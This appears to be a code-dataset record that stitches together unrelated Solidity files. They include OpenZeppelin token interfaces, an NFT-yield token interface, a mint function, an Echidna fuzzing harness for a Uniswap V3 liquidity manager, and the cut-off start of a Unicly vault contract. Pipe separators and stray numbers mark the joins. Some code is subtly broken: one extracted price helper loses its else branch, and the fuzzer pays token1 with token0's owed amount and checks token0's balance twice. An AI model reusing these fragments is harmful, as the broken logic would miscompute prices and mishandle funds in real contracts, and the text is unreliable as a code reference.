* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./IUtilityToken.sol";
import "./ITimeYieldedCredit.sol";
interface INFTYieldedToken is IUtilityToken, ITimeYieldedCredit {
/**
* @dev Returns the amount claimable by the owner of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getClaimableAmount(uint256 tokenId) external view returns (uint256);
/**
* @dev Returns an array of amounts claimable by `addr`.
* If `addr` doesn't own any tokens, returns an empty array.
*/
function getClaimableForAddress(address addr) external view returns (uint256[] memory, uint256[] memory);
/**
* @dev Spends `amount` credit from `tokenId`'s balance -
* for the consumption of an external service identified by `serviceId`.
* Optionally sending additional `data`.
*
* Requirements:
*
* See {NFTYieldedToken._spend}
*/
function spend(
uint256 tokenId,
uint256 amount,
uint256 serviceId,
bytes calldata data
) external;
/**
* @dev Claims `amount` credit as tokens from `tokenId`'s balance.
*
* Requirements:
*
* See {NFTYieldedToken._spend}
*/
function claim(uint256 tokenId, uint256 amount) external;
/**
* @dev Spends `amount` credit from `tokenId`'s balance on behalf of `account`-
* for the consumption of an external service identified by `serviceId`.
* Optionally sending additional `data`.
*
* Requirements:
*
* See {NFTYieldedToken._spendFrom}
*/
function spendFrom(
address account,
uint256 tokenId,
uint256 amount,
uint256 serviceId,
bytes calldata data
) external;
/**
* @dev Claims `amount` credit as tokens from `tokenId`'s balance on behalf of `account`-
* The tokens are minted to the address `to`.
*
* Requirements:
*
* See {NFTYieldedToken._spendFrom}
*/
function claimFrom(
address account,
uint256 tokenId,
uint256 amount,
address to
) external;
/**
* @dev Spends credit from multiple `tokenIds` as specified by `amounts`-
* for the consumption of an external service identified by `serviceId`.
* Optionally sending additional `data`.
*
* Requirements:
*
* See {NFTYieldedToken._spendMultiple}
*/
function spendMultiple(
uint256[] calldata tokenIds,
uint256[] calldata amounts,
uint256 serviceId,
bytes calldata data
) external;
/**
* @dev Spends credit from multiple `tokenIds` - owned by `account` - as specified by `amounts`-
* for the consumption of an external service identified by `serviceId`.
* Optionally sending additional `data`.
*
* Requirements:
*
* See {NFTYieldedToken._spendMultiple}
*/
function externalSpendMultiple(
address account,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
uint256 serviceId,
bytes calldata data
) external;
/**
* @dev Claims credit as tokens from multiple `tokenIds` as specified by `amounts`.
*
* Requirements:
*
* See {NFTYieldedToken._spendMultiple}
*/
function claimMultiple(
uint256[] calldata tokenIds,
uint256[] calldata amounts
) external;
/**
* @dev Claims all the available credit as the token for `tokenId`.
*
* Requirements:
*
* - The caller must own `tokenId`.
*
* - `tokenId` must exist.
*/
function claimAll(uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/interfaces/IERC20.sol";
interface IUtilityToken is IERC20{
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(
uint256 amount,
uint256 serviceId,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(
address account,
uint256 amount,
uint256 serviceId,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from `account`.
*
* See {ERC20-_burn}.
*
* Requirements:
*
* - The sender must be granted the EXTERNAL_SPENDER_ROLE role.
*/
function externalBurnFrom(
address account,
uint256 amount,
uint256 serviceId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface ITimeYieldedCredit {
function getCurrentYield() external view returns(uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20.sol";
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
Mints Loopy Cups with Chill. Ether value sent must exactly match./
|
function mintCupsWithChill(uint toMint, uint fromWallet, uint[] calldata donutIds, uint[] calldata amounts) public nonReentrant {
require(saleIsActive, "Sale is not active.");
require(toMint <= maxCupsPurchase, "Can only mint 20 Cups at a time.");
require(cupsPurchasedWithEth + cupsPurchasedWithChill + toMint <= MAX_FOR_SALE, "Not enough Cups for sale.");
require(cupsPurchasedWithChill + toMint <= MAX_FOR_CHILL_SALE, "Not enough Cups for sale with CHILL.");
uint totalChill = fromWallet;
for(uint i = 0; i < amounts.length; i++) {
totalChill += amounts[i];
}
require(cupChillPrice * toMint == totalChill, "CHILL value sent is not correct.");
if (fromWallet > 0) {
chillToken.externalBurnFrom(msg.sender, fromWallet, 0, "");
}
if (amounts.length > 0) {
chillToken.externalSpendMultiple(msg.sender, donutIds, amounts, 0, "");
}
uint offset = OFFSET_START + cupsPurchasedWithEth + cupsPurchasedWithChill;
cupsPurchasedWithChill += toMint;
for(uint i = 0; i < toMint; i++) {
_safeMint(msg.sender, offset + i);
}
}
| 14,702,533 |
pragma solidity ^0.6.7;
pragma experimental ABIEncoderV2;
import { ERC20 } from "../.././erc20/ERC20.sol";
import { IUniswapV3Pool } from "../.././uni/interfaces/IUniswapV3Pool.sol";
import { IUniswapV3MintCallback } from "../.././uni/interfaces/callback/IUniswapV3MintCallback.sol";
import { TransferHelper } from "../.././uni/libraries/TransferHelper.sol";
import { LiquidityAmounts } from "../.././uni/libraries/LiquidityAmounts.sol";
import { TickMath } from "../.././uni/libraries/TickMath.sol";
import "../../uni/UniswapV3Factory.sol";
import ".././TestHelpers.sol";
import ".././GebUniswapV3LiquidityManager.t.sol";
import "./uniswap/Setup.sol";
import "./uniswap/E2E_swap.sol";
/**
* Interface contract aimed at fuzzing the Uniswap Liquidity Manager
* Very similar to GebUniswap v3 tester
*/
contract Fuzzer is E2E_swap {
using SafeMath for uint256;
int24 lastRebalancePrice;
constructor() public {}
// --- All Possible Actions ---
function changeThreshold(uint256 val) public {
if (!inited) {
_init(uint128(val));
setUp();
}
manager.modifyParameters(bytes32("threshold"), val);
manager.rebalance();
}
function rebalancePosition() public {
require(inited);
lastRebalancePrice = manager.getTargetTick();
manager.rebalance();
}
function changeRedemptionPrice(uint256 newPrice) public {
require(newPrice > 600000000 ether && newPrice < 3600000000 ether);
if (!inited) {
_init(uint128(newPrice));
setUp();
}
oracle.setSystemCoinPrice(newPrice);
}
function changeCollateralPrice(uint256 newPrice) public {
require(newPrice > 100 ether && newPrice < 1000 ether);
if (!inited) {
_init(uint128(newPrice));
setUp();
}
oracle.setCollateralPrice(newPrice);
}
//Not using recipient to test totalSupply integrity
function depositForRecipient(address recipient, uint128 liquidityAmount) public {
if (!inited) {
_init(liquidityAmount);
setUp();
}
if (!inited) _init(liquidityAmount);
manager.deposit(liquidityAmount, address(this),0,0);
}
function withdrawForRecipient(address recipient, uint128 liquidityAmount) public {
if (!inited) {
_init(liquidityAmount);
setUp();
}
manager.withdraw(liquidityAmount, address(this));
}
function user_Deposit(uint8 user, uint128 liq) public {
if (!inited) {
_init(liq);
setUp();
}
users[user % 4].doDeposit(liq);
}
function user_WithDraw(uint8 user, uint128 liq) public {
if (!inited) {
_init(liq);
setUp();
}
users[user % 4].doWithdraw(liq);
}
//Repeated from E2E_swap, but it doesn't hurt to allow pool depositors to interact with pool directly
function user_Mint(
uint8 user,
int24 lowerTick,
int24 upperTick,
uint128 liquidityAmount
) public {
if (!inited) {
_init(liquidityAmount);
setUp();
}
users[user % 4].doMint(lowerTick, upperTick, liquidityAmount);
}
function user_Burn(
uint8 user,
int24 lowerTick,
int24 upperTick,
uint128 liquidityAmount
) public {
if (!inited) {
_init(liquidityAmount);
setUp();
}
users[user % 4].doBurn(lowerTick, upperTick, liquidityAmount);
}
function user_Collect(
uint8 user,
int24 lowerTick,
int24 upperTick,
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) public {
if (!inited) {
_init(amount0Requested);
setUp();
}
users[user % 4].doCollectFromPool(lowerTick, upperTick, recipient, amount0Requested, amount1Requested);
}
function user_Swap(uint8 user, int256 _amount) public {
if (!inited) {
_init(uint128(user));
setUp();
}
require(token0.balanceOf(address(swapper)) > 0);
int256 _amountSpecified = -int256(_amount);
uint160 sqrtPriceLimitX96 = get_random_oneForZero_priceLimit(_amount);
users[user % 4].doSwap(false, _amountSpecified, sqrtPriceLimitX96);
}
// --- Echidna Tests ---
// function echidna_sanity_check() public returns (bool) {
// return address(manager) == address(0);
// }
function echidna_position_integrity() public returns (bool) {
if (!inited) {
return true;
}
(bytes32 posId, , , uint128 liq,,,) = manager.position();
(uint128 _liquidity, , , , ) = pool.positions(posId);
return (liq == _liquidity);
}
function echidna_always_has_a_position() public returns (bool) {
if (!inited) {
return true;
}
(bytes32 posId, , , ,,,) = manager.position();
(uint128 _liquidity, , , , ) = pool.positions(posId);
if (manager.totalSupply() > 0) return (_liquidity > 0);
return true; // If there's no supply it's fine
}
function echidna_id_integrity() public returns (bool) {
if (!inited) {
return true;
}
(bytes32 posId, int24 low, int24 up, uint128 liq,,,) = manager.position();
bytes32 id = keccak256(abi.encodePacked(address(manager), low, up));
return (posId == id);
}
event DC(int24 l);
function echidna_select_ticks_correctly() public returns (bool) {
if (!inited) {
return true;
}
(bytes32 posId, int24 lower, int24 upper, ,uint256 _threshold,,) = manager.position();
return (lower + int24(_threshold) >= lastRebalancePrice && upper - int24(_threshold) <= lastRebalancePrice);
}
function echidna_supply_integrity() public returns (bool) {
if (!inited) {
return true;
}
uint256 this_bal = manager.balanceOf(address(this));
uint256 u1_bal = manager.balanceOf(address(u1));
uint256 u2_bal = manager.balanceOf(address(u2));
uint256 u3_bal = manager.balanceOf(address(u3));
uint256 u4_bal = manager.balanceOf(address(u4));
uint256 total = this_bal.add(u1_bal).add(u2_bal).add(u3_bal).add(u4_bal);
return (manager.totalSupply() == total);
}
function echidna_manager_never_owns_tokens() public returns (bool) {
if (!inited) {
return true;
}
uint256 t0_bal = token0.balanceOf(address(manager));
uint256 t1_bal = token0.balanceOf(address(manager));
return t0_bal == 0 && t1_bal == 0;
}
function echidna_manager_does_not_have_position_if_supply_is_zero() public returns (bool) {
if (!inited) {
return true;
}
(, , , uint128 liq,,,) = manager.position();
if (liq > 0) {
return manager.totalSupply() > 0;
} else {
return true;
}
}
// --- Copied from a test file ---
GebUniswapV3LiquidityManager public manager;
OracleLikeMock oracle;
uint256 threshold = 420000; // 40%
uint256 delay = 120 minutes; // 10 minutes
uint160 initialPoolPrice;
FuzzUser u1;
FuzzUser u2;
FuzzUser u3;
FuzzUser u4;
FuzzUser[4] public users;
PoolViewer pv;
function setUp() internal {
oracle = new OracleLikeMock();
pv = new PoolViewer();
manager = new GebUniswapV3LiquidityManager("Geb-Uniswap-Manager", "GUM", address(token0), threshold, delay, 0, address(pool), oracle, pv,address(0));
u1 = new FuzzUser(manager, token0, token1);
u2 = new FuzzUser(manager, token0, token1);
u3 = new FuzzUser(manager, token0, token1);
u4 = new FuzzUser(manager, token0, token1);
u1.setPool(pool);
u2.setPool(pool);
u3.setPool(pool);
u4.setPool(pool);
users[0] = u1;
users[1] = u2;
users[2] = u3;
users[3] = u4;
token0.mintTo(address(this), 1000000 ether);
token1.mintTo(address(this), 1000000 ether);
token0.approve(address(manager), 1000000 ether);
token1.approve(address(manager), 1000000 ether);
helper_transferToAdds(users);
set = true;
}
function helper_transferToAdds(FuzzUser[4] memory adds) internal {
for (uint256 i = 0; i < adds.length; i++) {
token0.mintTo(address(adds[i]), 30000 ether);
token1.mintTo(address(adds[i]), 120000000000 ether);
adds[i].doApprove(address(token0), address(manager), 30000 ether);
adds[i].doApprove(address(token1), address(manager), 120000000000 ether);
}
}
function helper_getRebalancePrice() internal returns (uint160) {
// 1. Get prices from the oracle relayer
(uint256 redemptionPrice, uint256 ethUsdPrice) = manager.getPrices();
// 2. Calculate the price ratio
uint160 sqrtPriceX96;
if (!(address(pool.token0()) == address(token0))) {
sqrtPriceX96 = uint160(sqrt((redemptionPrice << 96) / ethUsdPrice));
} else {
sqrtPriceX96 = uint160(sqrt((ethUsdPrice << 96) / redemptionPrice));
}
return sqrtPriceX96;
}
function helper_getLiquidityAmountsForTicks(
uint160 sqrtRatioX96,
int24 _lowerTick,
int24 upperTick,
uint256 t0am,
uint256 t1am
) public returns (uint128 liquidity) {
liquidity = LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_lowerTick),
TickMath.getSqrtRatioAtTick(upperTick),
t0am,
t1am
);
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external {
token0.transfer(msg.sender, amount0Owed);
token1.transfer(msg.sender, amount0Owed);
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external {
if (address(pool.token0()) == address(token0)) {
if (amount0Delta > 0) token0.transfer(msg.sender, uint256(amount0Delta));
if (amount1Delta > 0) token1.transfer(msg.sender, uint256(amount1Delta));
} else {
if (amount1Delta > 0) token0.transfer(msg.sender, uint256(amount1Delta));
if (amount0Delta > 0) token1.transfer(msg.sender, uint256(amount0Delta));
}
}
}
|
1. Get prices from the oracle relayer 2. Calculate the price ratio
|
function helper_getRebalancePrice() internal returns (uint160) {
(uint256 redemptionPrice, uint256 ethUsdPrice) = manager.getPrices();
uint160 sqrtPriceX96;
if (!(address(pool.token0()) == address(token0))) {
sqrtPriceX96 = uint160(sqrt((redemptionPrice << 96) / ethUsdPrice));
sqrtPriceX96 = uint160(sqrt((ethUsdPrice << 96) / redemptionPrice));
}
return sqrtPriceX96;
}
| 12,609,960 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./UnicSwap/interfaces/IUnicFarm.sol";
import "./UnicSwap/interfaces/IUnicGallery.sol";
contract UniclyXUnicVault is OwnableUpgradeable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public constant XUNIC = address(0xA62fB0c2Fb3C7b27797dC04e1fEA06C0a2Db919a);
address public constant UNIC = address(0x94E0BAb2F6Ab1F19F4750E42d7349f2740513aD5);
address public constant UNIC_MASTERCHEF = address(0x4A25E4DF835B605A5848d2DB450fA600d96ee818);
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // How much to remove when calculating user shares
}
// Info of each pool.
struct PoolInfo {
uint256 totalLPTokens; // The total LP tokens staked (we must keep this, see readme file)
uint256 accXUNICPerShare; //Accumulated UNICs per share, times 1e12
}
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Info of each pool.
mapping(uint256 => PoolInfo) public poolInfo;
// Gas optimization for approving tokens to unic chef
mapping(address => bool) public haveApprovedToken;
address public devaddr;
// For better precision
uint256 public devFeeDenominator = 1000;
// For gas optimization, do not update every pool in do hard work, only the ones that haven't been updated for ~12 hours
uint256 public minBlocksToUpdatePoolInDoHardWork = 3600;
// Events
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event UpdatePool(uint256 pid);
event Dev(address devaddr);
event DoHardWork(uint256 numberOfUpdatedPools);
function initialize(address _devaddr) external initializer {
__Ownable_init();
devaddr = _devaddr;
IERC20(UNIC).approve(XUNIC, uint256(~0));
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = (pool.accXUNICPerShare.mul(user.amount).div(1e12)).sub(user.rewardDebt);
if (pending > 0) {
safexUNICTransfer(msg.sender, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.totalLPTokens = pool.totalLPTokens.sub(_amount);
IUnicFarm(UNIC_MASTERCHEF).withdraw(_pid, _amount);
(IERC20 lpToken,,,,) = IUnicFarm(UNIC_MASTERCHEF).poolInfo(_pid);
lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accXUNICPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Deposit LP tokens to MasterChef for unics allocation.
function deposit(uint256 _pid, uint256 _amount) public {
depositFor(_pid, _amount, msg.sender);
}
// Deposit LP tokens for someone else than msg.sender, mainly for zap functionality
function depositFor(uint256 _pid, uint256 _amount, address _user) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = (pool.accXUNICPerShare.mul(user.amount).div(1e12)).sub(user.rewardDebt);
if (pending > 0) {
safexUNICTransfer(_user, pending);
}
}
if (_amount > 0) {
(IERC20 lpToken,,,,) = IUnicFarm(UNIC_MASTERCHEF).poolInfo(_pid);
lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
if (!haveApprovedToken[address(lpToken)]) {
lpToken.approve(UNIC_MASTERCHEF, uint256(~0));
haveApprovedToken[address(lpToken)] = true;
}
IUnicFarm(UNIC_MASTERCHEF).deposit(_pid, _amount);
user.amount = user.amount.add(_amount);
